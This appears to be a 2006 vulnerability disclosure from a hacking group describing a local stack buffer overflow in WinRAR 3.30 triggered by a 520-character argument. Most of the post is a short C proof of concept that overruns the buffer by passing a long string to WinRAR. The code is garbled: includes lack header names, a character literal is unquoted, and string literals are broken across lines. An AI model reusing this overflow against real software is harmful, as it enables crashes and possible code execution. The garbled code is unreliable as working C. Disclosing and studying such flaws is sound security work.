|
Winrar 3.30 Local Buffer Overflow |
|
|
|
|
Wednesday, 04 January 2006 |
When WinRAR Opens an archive which includes the long File Name in
inside, Buffer Over runing occurs on the stack.
This Event Happen When We Use 520 Character inside the Winrar.exe. it
Fill the Ret Successful .
================================================
In Follow You Can See a Proof Of Concept For Overflow . Please Execute
it in Winrar 3.30 Directory :
================================================
#include
#include
int main (void)
{
char bad[1500] = "" ;
char bad2[1500] = "WinRAR ";
printf (" ** Merry Christmas **
");
printf (" Trap-Set U.H Team
");
printf (" WinRAR 3.30 Local Buffer Overflow
");
memset (bad,a,520);
strcat(bad2,bad);
printf("
Over Running ... Just a Proof Of Concept . Not For Attacking
!
");
printf(" Discovered By : Alpha Programmer
");
system(bad2);
return (0);
}
================================================
Tested on WinXP SP 2 Platform .
Special Tnx to :
mh_p0rtal -- Dr-CephaleX
And : www.Couz.com Security Team
For Contact :
This email address is being protected from spam bots, you need Javascript enabled to view it
** Trap-Set U.H Team **
** Merry Christmas **
=================================================
|